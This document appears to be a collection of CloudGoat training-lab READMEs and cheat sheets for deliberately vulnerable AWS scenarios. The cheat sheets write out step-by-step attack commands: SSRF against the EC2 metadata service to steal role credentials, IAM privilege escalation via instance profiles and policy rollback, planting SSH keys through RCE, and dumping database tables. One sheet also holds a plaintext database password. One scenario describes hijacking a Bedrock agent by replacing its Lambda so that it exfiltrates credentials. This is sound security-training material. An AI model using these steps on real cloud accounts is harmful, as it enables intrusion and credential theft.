deardaniel/secdata-raw huggingface dataset:
README

# Scenario: ecs_takeover

**Size:** Medium

**Difficulty:** Moderate

**Command:** `$ ./cloudgoat.py create ecs_takeover`

## Scenario Resources

- 1 VPC and Subnet with:
    - 2 EC2 Instances
    - 1 ECS Cluster
    - 3 ECS Services
    - 1 Internet Gateway

## Scenario Start(s)

1. Access the external website via the EC2 Instance's public IP.

## Scenario Goal(s)

Gain access to the "vault" container and retrieve the flag.

## Summary

Starting with access to the external website the attacker needs to find a remote code execution vulnerability. Through
this the attacker can take advantage of resources available to the container hosting the website. The attacker discovers
that the container has access to the host's metadata service and role credentials. They also discover the Docker socket
mounted in the container giving full unauthenticated access to Docker on one host in the cluster. Abusing the mount
misconfiguration, the attacker can enumerate other running containers on the instance and compromise the container role
of a semi-privileged privd container. Using the privd role the attacker can enumerate the nodes and running tasks across
the ECS cluster where another task "vault" is discovered to be running on a second node. With the host container
privileges gained earlier, the attacker modifies the state of the cluster and forces ECS to reschedule the container to
the compromised host. This allows the attacker to access the flag stored in the root of the "vault" container instance
through docker.

## Exploitation Route(s)

![Scenario Route(s)](assets/diagram.png)

## Route Walkthrough 

1. Access the website using the provided URL.
2. Exploit code injection vulnerability to execute commands in the website container.
3. Search for available AWS credentials.
  a. Obtain the AWS credentials from the container instance's (the host's) metadata service.
  b. Leverage the docker socket mounted in the website container to retrieve AWS credentials from the "privd" container.
5. Use the "privd" container role to find the other worker nodes and the "vault" task.
6. Using IAM privileges of the container instance node, deregister or drain the other worker instance.
7. Wait for the "vault" container to be rescheduled and deployed to the attacker's worker instance.


## Additional Information

Https://ruse.tech/blogs/ecs-attack-methods

**A cheat sheet for this route is available [here](./cheat_sheet.md).**
README

# Scenario: ecs_privesc_evade_protection

**Size**: Medium

**Difficulty**: Moderate

**Command**: `$ ./cloudgoat.py create ecs_privesc_evade_protection`

## Scenario Resources

- 1 ECS with:
    - 1 * ASG with :
        - 1 * EC2
    - 1 * Service (web container)
- 2 * S3 (1 * secret, 1 * cloudtrail)
- Detection Mechanisms
  - GuardDuty enabled
  - CloudWatch
  - CloudTrail
  - EventBridge
  - Lambda
  - SES

## Scenario Start(s)

Scenario starts as a web user.

> **Warning**: If GuardDuty have enabled before creating scenario, It would cause an error.

> **Warning**: This scenario deploys an intentionally vulnerable web application. Always destroy the scenario when finished to avoid leaving exploitable resources in your AWS account.

> **Note**: Use the docker command during the scenario creation process; the docker environment have to be ready.

## Scenario Goal(s)

Read flag.txt in S3 with avoiding various defense techniques.

## Summary

There is a very vulnerable website operating on AWS. The site's security administrator became frightened and took some web security measures and enabled GuardDuty for EC2's credentials. Take a detour and approach S3 and win the secret string.

## Email setup
 
- If AWS Guard Duty detects your attack in the scenario, we will send you an email. So you need to register an email and respond to AWS authentication mail sent to that email before start.
- If you prefer not to use a standard email address, you might consider services such as https://temp-mail.org/ or https://www.fakemail.net/.

# SPOILER ALERT: There are spoilers for the scenario blew this point.

## Exploitation Route

![Scenario Route(s)](assets/diagram.png)

## Scenario Walk-through

### Easy Path
- Attacker accesses the web service of a container inside EC2 managed by ECS.
- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container.
- The attacker accesses S3. Gets the Secret String in `flag.txt` and exits the scenario.

### Hard Path
- Attacker accesses the web service of a container inside EC2 managed by ECS.
- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container.
- The attacker defines and executes an ECS task with the authority of the web developer to privesc or bypass mitigations. Perform a reverse shell attack to access the container been created.
- The attacker accesses S3 at the container to bypass GuardDuty detection. Gets the Secret String in `secret-string.txt` and exits the scenario.
cheat sheet mcduck

`aws configure --profile McDuck`

`aws s3 ls --profile McDuck`

`aws s3 ls s3://<bucket> --recursive --profile McDuck`

`aws s3 cp s3://cg-keystore-s3-bucket-cgid6prrnaix1v/cloudgoat . --profile McDuck`

`aws s3 cp s3://cg-keystore-s3-bucket-cgid6prrnaix1v/cloudgoat.pub . --profile McDuck`

`aws ec2 describe-instances --profile McDuck`

`chmod 400 cloudgoat`

`ssh -i cloudgoat ubuntu@<ec2_ip>

`sudo apt-get install awscli`

`aws s3 ls`

`aws s3 ls s3://<bucket> --recursive`

`aws s3 cp s3://<bucket>/db.txt .`

`cat db.txt`

`aws rds describe-db-instances --region us-east-1`

`psql postgresql://cgadmin:Purplepwny2029@<rds-instance>:5432/cloudgoat`

`\dt`

`select * from sensitive_information;`
cheat sheet lara

`aws configure --profile Lara`

`aws s3 ls --profile Lara`

`aws s3 ls s3://<bucket> --recursive --profile Lara`

`aws s3 cp s3://<bucket>/cg-lb-logs/AWSLogs/[PII_REDACTED]51/elasticloadbalancing/us-east-1/2019/06/19/[PII_REDACTED]55_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log . --profile Lara`

`cat[PII_REDACTED]55_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log`

`aws elbv2 describe-load-balancers --profile Lara`

`ssh-keygen -t ed25519` (An ed25519 key pair may be necessary here because using an RSA public key can get truncated in the RCE)

`echo "public ssh key" >> /home/ubuntu/.ssh/authorized_keys`

`curl ifconfig.me`

`ssh -i private_key ubuntu@public.ip.of.ec2`

# BRANCH A:

`sudo apt-get install awscli`

`aws s3 ls`

`aws s3 ls s3://<bucket> --recursive`

`aws s3 cp s3://<bucket>/db.txt .`

`cat db.txt`

`aws rds describe-db-instances --region us-east-1`

`psql postgresql://<db_user>:<db_password>@<rds-instance>:5432/<db_name>`

`\dt`

`select * from sensitive_information;`

# BRANCH B:

`curl http://169.254.169.254/latest/user-data`

`psql postgresql://<db_user>:<db_password>@<rds-instance>:5432/<db_name>`
db

Dear Tomas - For the LAST TIME, here are the database credentials. Save them to your password manager, and delete this file when you've done so! This is definitely in breach of our security policies!!!!

DB name: cloudgoat
Username: cgadmin
[CREDENTIAL_REDACTED]

Sincerely,
Lara
README

# rce-web-app
A super-simple app developed for CloudGoat's rce_web_app scenario.

- Run the app via `node .`.
- All static files are placed at */static* folder, which behaves like a file root for server: *static/foo.bar* can be accessed via *localhost:9000/foo.bar*.
- "Secret" HTML page is mkja1xijqf0abo1h9glg.html.
- Port is set via CLI argument (9000 by default) `node . 3000`
- No need to install dependencies (no `npm install` needed), just run the command above.

**Note:** the app is pre-zipped to avoid requiring `zip` on the user's computer. If you make any changes to the app files, you must also update the zip!
README

# Scenario: ec2_ssrf

**Size:** Medium

**Difficulty:** Moderate

**Command:** `$ ./cloudgoat.py create ec2_ssrf`

## Scenario Resources

- 1 VPC with:
	- EC2 x 1
- 1 Lambda Function
- 1 S3 Bucket

## Scenario Start(s)

1. IAM User "Solus"

## Scenario Goal(s)

Invoke the "cg-lambda-[ CloudGoat ID ]" Lambda function.

## Summary

Starting as the IAM user Solus, the attacker discovers they have ReadOnly permissions to a Lambda function, where hardcoded secrets lead them to an EC2 instance running a web application that is vulnerable to server-side request forgery (SSRF). After exploiting the vulnerable app and acquiring keys from the EC2 metadata service, the attacker gains access to a private S3 bucket with a set of keys that allow them to invoke the Lambda function and complete the scenario.

## Exploitation Route(s)

![Scenario Route(s)](https://www.lucidchart.com/publicSegments/view/3117f737-3290-48c6-b0bf-e122a305858d/image.png)

## Route Walkthrough - IAM User "Solus"

1. As the IAM user Solus, the attacker explores the AWS environment and discovers they can list Lambda functions in the account.
2. Within a Lambda function, the attacker finds AWS access keys belonging to a different user - the IAM user Wrex.
3. Now operating as Wrex, the attacker discovers an EC2 instance running a web application vulnerable to a SSRF vulnerability.
4. Exploiting the SSRF vulnerability via the `?url=...` parameter, the attacker is able to steal AWS keys from the EC2 metadata service.
5. Now using the keys from the EC2 instance, the attacker finds a private S3 bucket containing another set of AWS credentials for a more powerful user: Shepard.
6. Now operating as Shepard, with full-admin final privileges, the attacker can invoke the original Lambda function to complete the scenario.

A cheat sheet for this route is available [here](./cheat_sheet_solus.md).
cheat sheet solus

`aws configure --profile solus`

`aws lambda list-functions --profile solus`

`aws configure --profile cglambda`

`aws ec2 describe-instances --profile cglambda`

Go to `http://<EC2 instance IP>`

Abuse the SSRF via the "url" parameter to hit the EC2 instance metadata by going to:

`http://<EC2 instance IP>/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/`

And then:

`http://<EC2 instance IP>/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<the role name>`

Then Add the EC2 instance credentials to your AWS CLI credentials file at `~/.aws/credentials`) as shown below:

```
[ec2role]
aws_access_key_id = asdasdasd
aws_secret_access_key = asdasdsadas
aws_session_token = "asdasdasd"
```

`aws s3 ls --profile cgec2role`

`aws s3 ls --profile cgec2role s3://cg-secret-s3-bucket-<cloudgoat_id>`

`aws s3 cp --profile cgec2role s3://cg-secret-s3-bucket-<cloudgoat_id>/aws/credentials ./`

`cat admin-user.txt`

`aws configure --profile cgadmin`

`aws lambda list-functions --profile cgadmin`

`aws lambda invoke --function-name cg-lambda-<cloudgoat_id> ./out.txt --profile cgadmin`

`cat out.txt`
README

# Addendum

This app was adopted from https://github.com/sethsec/Nodejs-SSRF-App.git with love and gratitude.

# Nodejs-SSRF-App
Nodejs application intentionally vulnerable to SSRF

## Download and Setup

```ShellSession
seth@ubuntu:/opt# sudo git clone https://github.com/sethsec/Nodejs-SSRF-App.git
seth@ubuntu:/opt# cd Nodejs-SSRF-App/
seth@ubuntu:/opt/Nodejs-SSRF-App# sudo ./install.sh

 To start the server:
  sudo nodejs ssrf-demo-app.js
  sudo nodejs ssrf-demo-app.js -p 8080

seth@ubuntu:/opt/Nodejs-SSRF-App# sudo nodejs ssrf-demo-app.js

##################################################
#
#  Server listening for connections on port:80
#  Connect to server using the following url:
#  -- http://[server]:80/?url=[SSRF URL]
#
##################################################

```

## Build and run in a Docker container

```ShellSession
❯ git clone git@github.com:sethsec/Nodejs-SSRF-App.git
❯ cd Nodejs-SSRF-App/
❯ docker build -t "nodejs-ssrf-app" .
❯ docker run -it -p 8000:8000 nodejs-ssrf-app:latest

##################################################
#
#  Server listening for connections on port:8000
#  Connect to server using the following url:
#  -- http://[server]:8000/?url=[SSRF URL]
#
##################################################
```
README

# Scenario: iam_privesc_by_rollback

**Size:** Small

**Difficulty:** Easy

**Command:** `./cloudgoat.py create iam_privesc_by_rollback`

## Scenario Resources

- 1 IAM User
- IAM Policy
  - 5 policy versions

## Scenario Start(s)

1. IAM User "Raynor"

## Scenario Goal(s)

Acquire full admin privileges.

## Summary

Starting with a highly-limited IAM user, the attacker is able to review previous IAM policy versions and restore one which allows full admin privileges, resulting in a privilege escalation exploit.

## Exploitation Route(s)

![Scenario Route(s)](https://www.lucidchart.com/publicSegments/view/acef779c-51ce-4582-b4d2-19ae92b7f170/image.png)

## Route Walkthrough - IAM User "Raynor"

1. Starting as the IAM user "Raynor," the attacker has only a few limited - seemingly harmless - privileges available to them.
2. The attacker analyzes Raynor's privileges and notices the SetDefaultPolicyVersion permission - allowing access to 4 other versions of the policy via setting an old version as the default.
3. After reviewing the old policy versions, the attacker finds that one version in particular offers a full set of admin rights.
4. Attacker restores the full-admin policy version, gaining full admin privileges and the ability to carry out any malicious actions they wish.
5. As a final step, the attacker may choose to revert Raynor's policy version back to the original one, thereby concealing their actions and the true capabilities of the IAM user.

A cheat sheet for this route is available [here](./cheat_sheet_raynor.md).
README


# Scenario: bedrock_agent_hijacking

**Size:** Small

**Difficulty:** Moderate

**Command:** `$ ./cloudgoat.py create bedrock_agent_hijacking`

## Scenario Resources

- 1 IAM User
- 1 Lambda Function (+ Execution Role)
- 1 Bedrock Agent (+ Execution Role & Action Group)
- 1 S3 Bucket

## Scenario Start(s)

1. IAM User Grace

## Scenario Goal(s)

Retrieve the Flag Stored in S3.

## Summary

Starting as the IAM user Grace, the attacker discovers that they have limited lambda permissions and can invoke a bedrock agent. Interacting with the agent (or examining its action groups) reveals the agent is leveraging a lambda function to conduct a real-time inventory of cloud resources. The attacker uses their limited lambda permissions to change the function behaviour and has the agent retrieve the flag from S3.

## Exploitation Route(s)

![Scenario Route(s)](https://lucid.app/publicSegments/view/07d01afa-313b-47d0-ab5b-fad1784d48fd/image.png)

## Walkthrough - IAM User "Grace"

1. Starting as the IAM user "Grace",  the attacker analyses their privileges.
2. The attacker realizes they have access to:
   - Limited lambda permissions, including the `lambda:UpdateFunctionCode` permission
   - Bedrock read operations
   - Invocation permissions for the `operations_agent` bedrock agent
3. The attacker looks at the `operations_agent` agent configuration and notices it can invoke the `inventory_lambda` function via an action group.
4. The attacker gets the lambda details using the function ARN found in the agent's action group configuration, noting that it has global read access and can only be invoked by the bedrock service.
5. The attacker crafts a replacement lambda function (that meets the bedrock response event requirements) to either perform S3 discovery or exfiltrate the lambda execution role credentials, and uses `lambda:UpdateFunctionCode` to replace the function code.
6. The attacker converses with the agent, getting it to trigger the lambda function and display the results
7. Attacker uses exfiltrated credentials to access the flag, or repeats steps 5-6 to have the agent retrieve the flag from S3

A cheat sheet for this route is available [here](./cheat_sheet.md).
README

# Scenario: iam_privesc_by_attachment

**Size:** Medium

**Difficulty:** Moderate

**Command:** `$ ./cloudgoat.py create iam_privesc_by_attachment`

## Scenario Resources

* 1 VPC with:
  * EC2 x 1
* 1 IAM User

## Scenario Start(s)

1. IAM User "Kerrigan"

## Scenario Goal(s)

Delete the EC2 instance "cg-super-critical-security-server."

## Summary

Starting with a very limited set of permissions, the attacker is able to leverage the instance-profile-attachment permissions to create a new EC2 instance with significantly greater privileges than their own. With access to this new EC2 instance, the attacker gains full administrative powers within the target account and is able to accomplish the scenario's goal - deleting the cg-super-critical-security-server and paving the way for further nefarious actions.

Note: This scenario may require you to create some AWS resources, and because CloudGoat can only manage resources it creates, you should remove them manually before running `./cloudgoat destroy`.

## Exploitation Route(s)

![Scenario Route(s)](https://www.lucidchart.com/publicSegments/view/17beef30-c547-4d58-912c-9b9250ea6c82/image.png)

## Walkthrough - IAM User "Kerrigan"

1. Starting as the IAM user "Kerrigan," the attacker uses their limited privileges to explore the environment.
2. The attacker first lists EC2 instances, identifying their target - the "cg-super-critical-security-server" - but being unable to directly affect the target, the attacker looks for another way...
3. The attacker decides to enumerate existing instance profiles and roles within the account, identifying an instance profile they can use and a promising-looking role.
4. With a plan in mind, the attacker prepares for their exploit. First, they swap the full-admin role onto the instance profile.
5. Next, the attacker creates a new EC2 key pair.
6. Then, the attacker creates a new EC2 instance with that keypair, meaning they now have shell access to it.
7. As the final step in the exploit, the attacker then attaches the full-admin-empowered instance profile to the EC2 instance.
8. By accessing and using the new EC2 instance as a staging platform, the attacker is able to execute AWS CLI commands with full admin privileges granted by the attached profile's role.
9. The attacker is finally able to terminate the "cg-super-critical-security-server" EC2 instance, completing the scenario.

A cheat sheet for this route is available [here](./cheat_sheet_kerrigan.md).
cheat sheet kerrigan

`aws configure --profile Kerrigan`

`aws ec2 describe-instances --profile Kerrigan`

`aws iam list-instance-profiles --profile Kerrigan`

`aws iam list-roles --profile Kerrigan`

`aws iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-<cloudgoat_id> --role-name cg-ec2-meek-role-<cloudgoat_id> --profile Kerrigan`

`aws iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-<cloudgoat_id> --role-name cg-ec2-mighty-role-<cloudgoat_id> --profile Kerrigan`

`aws ec2 create-key-pair --key-name pwned --profile Kerrigan --query 'KeyMaterial' --output text > pwned.pem`

`chmod 400 pwned.pem`

`aws ec2 describe-subnets --profile Kerrigan`

`aws ec2 describe-security-groups --profile Kerrigan`

`aws ec2 run-instances --image-id ami-0a313d6098716f372 --instance-type t3.micro --iam-instance-profile Arn=<instanceProfileArn> --key-name pwned --profile kerrigan --subnet-id <subnetId> --security-group-ids <securityGroupId>`

`ssh -i pwned.pem ubuntu@<instancePublicDNSName>`

`sudo apt-get update`

`sudo apt-get install awscli`

`aws ec2 describe-instances --region us-east-1`

`aws ec2 terminate-instances --instance-ids <instanceId> --region us-east-1`
README

# Scenario: iam_privesc_by_ec2

**Size:** Small

**Difficulty:** Easy

**Command:** `$ ./cloudgoat.py create iam_privesc_by_ec2`

## Scenario Resources

* 1 EC2 Instance
* 1 IAM User
* 2 IAM Roles

## Scenario Start(s)

1. IAM User "cg_dev_user"

## Scenario Goal(s)

Compromise the EC2 instance "admin_ec2" and run privileged commands that can exfiltrate credentials.

## Summary

This is a simple scenario, partially designed to demonstrate the use of [IAMActionHunter](https://github.com/RhinoSecurityLabs/IAMActionHunter) . Starting as the cg_dev_user you need to use your ReadOnly permissions to enumerate the IAM Users and Roles permissions to compromise the "admin_ec2" in the account and gain administrator permissions.

## Walkthrough - IAM User "cg_dev_user"

1. Enumerate IAM permissions for your cg_dev_user and the cg_ec2_management_role
2. Note that you can assume the cg_ec2_management_role role and it has the permissions ec2:stopInstances,ec2:startInstances,ec2:modifyUserAttribute but only resources without a specific tag.
3. cg_dev_user has ec2:deleteTags permission.
4. cg_dev_user deletes the tag from the admin_ec2.
5. cg_dev_user assumes the cg_ec2_management_role and modifies the userdata to run a command to either gain access to it or exfiltrate the credentials from it.

A cheat sheet for this route is available [here](./cheat_sheet_dev_user.md).
cheat sheet dev user

### Enumerate the user and roles we have access to from the start cg_dev_user
```
# Gather all roles and users permissions
iamactionhunter --collect --profile cg_dev_user

# Check for Write actions that the dev_user has
iamactionhunter --config write_actions --account <account_id> --user cg_dev_user

# Check if the dev_user has any interesting IAM permissions
iamactionhunter --config dangerous_iam --account <account_id> --user cg_dev_user

# See what write permissions the role you can assume has
iamactionhunter --config write_actions --account <account_id> --role cg_ec2_management_role

# Check back on the dev_user see if you can do anything with tags
iamactionhunter --query 'ec2:*tag*' --account <account_id> --user cg_dev_user

# Note you can delete tags allowing you to satisfy the condition set for the ec2_management_role
```

### Use the dev_user to enumerate ec2 instances
```
# Get instances that have the tag referenced in the condition
aws ec2 describe-instances --region us-west-2 --profile cg_dev_user --filter "Name=tag:Name,Values=cg_admin_ec2*" 
```



### Delete the tag using the dev_user on the EC2 to satisfy the condition for the cg_ec2_management_role
```
aws ec2 delete-tags --region us-west-2 --profile cg_dev_user --resources <instance_id> --tags Key=Name
```

### Assume the cg_ec2_management_role
```
aws sts assume-role --role-arn arn:aws:iam::<account_id>:role/cg_ec2_management_role --role-session-name blah --profile cg_dev_user
```

### Use the cg_ec2_management_role to stop the instance
```
aws ec2 stop-instances --region us-west-2 --profile cg_ec2_management_role --instance-ids <instance_id>
```

### Use the cg_ec2_management_role to modify the userdata to access the EC2 or exfiltrate credentials from it ([https://hackingthe.cloud/aws/exploitation/local-priv-esc-mod-instance-att/](https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/))
```
aws ec2 modify-instance-attribute --region us-west-2 --profile cg_ec2_management_role --instance-id <instance_id> --attribute userData --value file://user-data.txt
```

### Use the cg_ec2_management_role to start the instance
```
aws ec2 start-instances --region us-west-2 --profile cg_ec2_management_role --instance-ids <instance_id>
```

### Access the EC2 or exfiltrate credentials and gain admin privileges
The EC2 does not have internal or external network access so you will not be able to exfiltrate credentials
cheat sheet solo

`aws ssm describe-parameters --profile solo`

`aws ssm get-parameter --name <private key name> --profile solo`

`echo -e "<private key>" > ec2_ssh_key`

`chmod 400 ec2_ssh_key`

`aws ssm get-parameter --name <public key name> --profile solo`

`echo -e "<public key>" > ec2_ssh_key.pub`

`aws ec2 describe-instances --profile solo`

`ssh -i ec2_ssh_key ubuntu@<instance ip>`

# BRANCH A:

`sudo apt update && sudo apt install awscli -y`

`aws lambda list-functions --region us-east-1`

`aws rds describe-db-instances --profile solo`

# BRANCH B:

`curl http://169.254.169.254/latest/user-data`

`psql -h <rds db host/ip> -U cgadmin -d cloudgoat`

`\d`

`select * from sensitive_information;`